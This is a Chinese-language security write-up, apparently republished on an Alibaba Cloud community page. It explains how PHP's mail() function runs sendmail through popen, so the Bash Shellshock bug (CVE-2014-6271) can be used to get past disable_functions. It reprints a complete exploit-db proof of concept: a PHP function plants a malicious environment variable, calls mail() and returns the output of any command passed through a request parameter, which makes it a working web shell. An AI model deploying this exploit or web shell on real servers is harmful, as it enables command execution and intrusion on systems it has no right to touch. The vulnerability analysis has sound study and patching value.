PHP Execute Command Bypass Disable_functions

來源:互聯網
上載者:User

標籤:style   http   io   ar   os   sp   for   on   2014   

 

先簡單說一下php調用mail()函數的過程。 
看到源碼ext/mail.c 

236行: 
char *sendmail_path = INI_STR("sendmail_path"); 
char *sendmail_cmd = NULL;


從INI中獲得sendmail_path變數。我們看看php.ini裡是怎麼說明的: 

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i"). 
;sendmail_path =


注釋中可以看到,send_mail預設值為”sendmail -t -i”. 

 

 

 

 

 

 

 

 

 


extra_cmd(使用者傳入的一些額外參數)存在的時候,調用spprintf將sendmail_path和extra_cmd組合成真正執行的命令列sendmail_cmd 。不存在則直接將sendmail_path賦值給sendmail_cmd 。 
如下: 
if (!sendmail_path) { 
#if (defined PHP_WIN32 || defined NETWARE) 
    /* handle old style win smtp sending */ 
    if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) { 
      if (tsm_errmsg) { 
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg); 
        efree(tsm_errmsg); 
      } else { 
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err)); 
      } 
      MAIL_RET(0); 
    } 
    MAIL_RET(1); 
#else 
    MAIL_RET(0); 
#endif 
  } 
  if (extra_cmd != NULL) { 
    spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd); 
  } else { 
    sendmail_cmd = sendmail_path; 
  }


之後執行: 

#ifdef PHP_WIN32 
  sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC); 
#else 
  /* Since popen() doesn‘t indicate if the internal fork() doesn‘t work 
   * (e.g. the shell can‘t be executed) we explicitly set it to 0 to be 
   * sure we don‘t catch any older errno value. */ 
  errno = 0; 
  sendmail = popen(sendmail_cmd, "w"); 
#endif


將sendmail_cmd丟給popen執行。 
如果系統預設sh是bash,popen就會丟給bash執行。

而之前的bash破殼(CVE-2014-6271)漏洞,直接導致我們可以利用mail()函數執行任意命令,繞過disable_functions。 

影響版本:php 各版本 

修複方法:修複CVE-2014-6271 

給出POC(http://www.exploit-db.com/exploits/35146/)如下: 

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   mail("[email protected]","","","","-bv"); // -bv so we don‘t actuallysend any mail 
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>

 

 

【本文來源:http://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html 作者 phith0n】

轉載請註明:安全脈搏 » PHP Execute Command Bypass Disable_functions

PHP Execute Command Bypass Disable_functions

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.